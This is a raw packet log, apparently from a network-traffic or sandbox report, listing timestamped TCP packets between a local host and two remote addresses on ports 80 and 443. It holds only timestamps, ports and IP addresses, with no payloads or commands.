Nov 20, 2024 04:08:11.978404045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978434086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978442907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978457928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978471041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978482962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978498936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978504896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978514910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978533030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978549957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978566885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978568077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978585005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978600025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978611946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978616953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978631020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978643894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978646994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978663921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978698015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978709936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978715897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978738070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978812933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992379904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992456913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992552996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992569923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992587090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992614031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992629051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992630959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992650032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992655993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992676020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992693901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992695093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992712021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992713928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992729902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992748022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992752075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992765903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992786884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992793083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992805958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992810965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992829084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992839098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992856979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992885113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992885113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992896080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992917061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992922068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992934942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992945910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992963076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.992973089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.992985964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993004084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993017912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993021965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993038893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993045092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993057013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993062973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993077040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993087053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993093967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993104935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993113041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993129969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993140936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993149996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993160963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993175983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993180037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993201971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993201971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993205070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993221998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993237019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993240118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993259907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993264914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993275881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993283987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993293047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993302107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993315935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993319988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993334055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993343115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993350983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993361950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993377924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993393898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993402004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993411064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993431091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993447065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993454933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993464947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993479967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993484020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.993530989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.993551016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994075060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994129896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994136095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994152069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994168997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994183064 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994188070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994204998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994210958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994230032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994235992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994235992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994250059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994261026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994266987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.994292974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994292974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.994327068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995028019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995043039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995059967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995080948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995117903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995117903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995132923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995150089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995167017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995178938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995186090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995197058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995204926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995220900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995238066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995287895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995543957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995559931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995577097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995594978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995598078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995618105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995623112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995654106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995661020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995670080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995680094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995688915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995716095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995717049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995733023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995740891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995750904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995769024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995780945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995795965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995815039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995815992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995835066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995851994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995857000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995870113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995886087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995889902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995930910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995932102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.995949030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995965958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995981932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995997906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.995997906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996016026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996017933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996035099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996037960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996057987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996064901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996073961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996092081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996109009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996134996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996150017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996154070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996170044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.996182919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996182919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996182919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996206999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.996242046 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.003784895 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.004090071 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.004173994 CET	62446	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.013111115 CET	62446	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.013138056 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.017668009 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.017714977 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.017801046 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.017997980 CET	62451	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.018016100 CET	443	62451	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.036828041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.036895990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.036925077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.036942959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.036961079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.036972046 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.036977053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.036990881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.036995888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.037014008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.037017107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.037060022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.039144993 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.039473057 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.039537907 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.039650917 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.039664030 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.039679050 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.039685011 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.042568922 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.042587996 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.042651892 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.042795897 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.042809963 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.043848991 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.044567108 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.044601917 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.045155048 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.045170069 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.068902969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.068923950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.068933010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.068939924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.068953991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.068981886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.068990946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.068994045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.069005966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069015026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069022894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069030046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069036961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069046021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069053888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069061041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069063902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.069076061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069084883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069098949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069109917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.069116116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069139004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.069144011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.069159031 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.069202900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.080847025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.080908060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.080948114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.080962896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.080977917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.080993891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.080997944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081022024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081023932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081038952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081054926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081070900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081070900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081088066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081094980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081104994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081118107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081123114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081140041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081150055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081172943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081187963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081192017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081207991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081211090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081224918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081242085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081245899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081269026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081271887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081285000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081300974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081307888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081317902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081343889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081357002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081358910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081377029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081381083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081402063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081418037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081423044 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081443071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081459999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081460953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081475973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081482887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081500053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081515074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081521988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081537008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081559896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081561089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081576109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081584930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081593037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081613064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081620932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081629992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081646919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081656933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081670046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081676006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081697941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081718922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081721067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081734896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081751108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081754923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081768036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081784010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.081800938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.081830025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.082565069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082614899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.082653999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082668066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082683086 CET	80	62430	31.41.244.11	192.168.2.4
